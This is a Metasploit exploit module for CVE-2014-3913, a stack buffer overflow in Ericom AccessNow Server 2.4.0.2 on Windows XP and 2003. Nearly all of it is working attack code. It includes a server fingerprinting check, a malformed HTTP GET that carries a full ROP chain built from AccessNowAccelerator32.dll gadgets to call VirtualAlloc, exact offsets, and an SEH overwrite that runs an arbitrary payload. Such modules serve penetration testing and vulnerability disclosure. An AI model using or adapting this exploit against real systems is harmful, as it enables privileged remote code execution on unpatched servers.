Ericom AccessNow Server Buffer Overflow

`##  
# This module requires Metasploit: http//metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Ericom AccessNow Server Buffer Overflow',  
'Description' => %q{  
This module exploits a stack based buffer overflow in Ericom AccessNow Server. The  
vulnerability is due to an insecure usage of vsprintf with user controlled data,  
which can be triggered with a malformed HTTP request. This module has been tested  
successfully with Ericom AccessNow Server 2.4.0.2 on Windows XP SP3 and Windows 2003  
Server SP2.  
},  
'Author' =>  
[  
'Unknown', # Vulnerability Discovery  
'juan vazquez', # Metasploit Module  
],  
'References' =>  
[  
['ZDI', '14-160'],  
['CVE', '2014-3913'],  
['BID', '67777'],  
['URL','http://www.ericom.com/security-ERM-2014-610.asp']  
],  
'Privileged' => true,  
'Platform' => 'win',  
'Arch' => ARCH_X86,  
'Payload' =>  
{  
'Space' => 4096,  
'BadChars' => "\x00\x0d\x0a",  
'DisableNops' => true,  
'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500  
},  
'Targets' =>  
[  
[ 'Ericom AccessNow Server 2.4.0.2 / Windows [XP SP3 / 2003 SP2]',  
{  
'RopOffset' => 62,  
'Offset' => 30668,  
'Ret' => 0x104da1e5 # 0x104da1e5 {pivot 1200 / 0x4b0} # ADD ESP,4B0 # RETN # From AccessNowAccelerator32.dll  
}  
]  
],  
'DisclosureDate' => 'Jun 2 2014',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(8080)], self.class)  
end  
  
  
def check  
res = send_request_cgi({  
'uri' => '/AccessNow/start.html'  
})  
  
unless res && res.code == 200 && res.headers['Server']  
return Exploit::CheckCode::Safe  
end  
  
if res.headers['Server'] =~ /Ericom AccessNow Server/  
return Exploit::CheckCode::Appears # Ericom AccessNow 2.4  
elsif res && res.code == 200 && res.headers['Server'] && res.headers['Server'] =~ /Ericom Access Server/  
return Exploit::CheckCode::Detected # Ericom AccessNow 3  
end  
  
Exploit::CheckCode::Unknown  
end  
  
def exploit_uri  
uri = "#{rand_text_alpha(1)} " # To ensure a "malformed request" error message  
uri << rand_text(target['RopOffset'])  
uri << create_rop_chain  
uri << payload.encoded  
uri << rand_text(target['Offset'] - uri.length)  
uri << rand_text(4) # nseh  
uri << [target.ret].pack("V") # seh  
  
uri  
end  
  
def exploit  
print_status("#{peer} - Sending malformed request...")  
send_request_raw({  
'method' => 'GET',  
'uri' => exploit_uri,  
'encode' => false  
}, 1)  
end  
  
def create_rop_chain  
# rop chain generated with mona.py - www.corelan.be  
rop_gadgets =  
[  
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3  
0x10518867, # RETN # [AccessNowAccelerator32.dll] # Padding to ensure it works in both windows 2003 SP2 and XP SP3  
0x10518866, # POP EAX # RETN [AccessNowAccelerator32.dll]  
0x105c6294, # ptr to &VirtualAlloc() [IAT AccessNowAccelerator32.dll]  
0x101f292b, # MOV EAX,DWORD PTR DS:[EAX] # RETN [AccessNowAccelerator32.dll]  
0x101017e6, # XCHG EAX,ESI # RETN [AccessNowAccelerator32.dll]  
0x103ba89c, # POP EBP # RETN [AccessNowAccelerator32.dll]  
0x103eed74, # & jmp esp [AccessNowAccelerator32.dll]  
0x1055dac2, # POP EAX # RETN [AccessNowAccelerator32.dll]  
0xffffffff, # Value to negate, will become 0x00000001  
0x1052f511, # NEG EAX # RETN [AccessNowAccelerator32.dll]  
0x10065f69, # XCHG EAX,EBX # RETN [AccessNowAccelerator32.dll]  
0x10074429, # POP EAX # RETN [AccessNowAccelerator32.dll]  
0xfbdbcb75, # put delta into eax (-> put 0x00001000 into edx)  
0x10541810, # ADD EAX,424448B # RETN [AccessNowAccelerator32.dll]  
0x1038e58a, # XCHG EAX,EDX # RETN [AccessNowAccelerator32.dll]  
0x1055d604, # POP EAX # RETN [AccessNowAccelerator32.dll]  
0xffffffc0, # Value to negate, will become 0x00000040  
0x10528db3, # NEG EAX # RETN [AccessNowAccelerator32.dll]  
0x1057555d, # XCHG EAX,ECX # RETN [AccessNowAccelerator32.dll]  
0x1045fd24, # POP EDI # RETN [AccessNowAccelerator32.dll]  
0x10374022, # RETN (ROP NOP) [AccessNowAccelerator32.dll]  
0x101f25d4, # POP EAX # RETN [AccessNowAccelerator32.dll]  
0x90909090, # nop  
0x1052cfce # PUSHAD # RETN [AccessNowAccelerator32.dll]  
].pack("V*")  
  
rop_gadgets  
end  
  
end  
`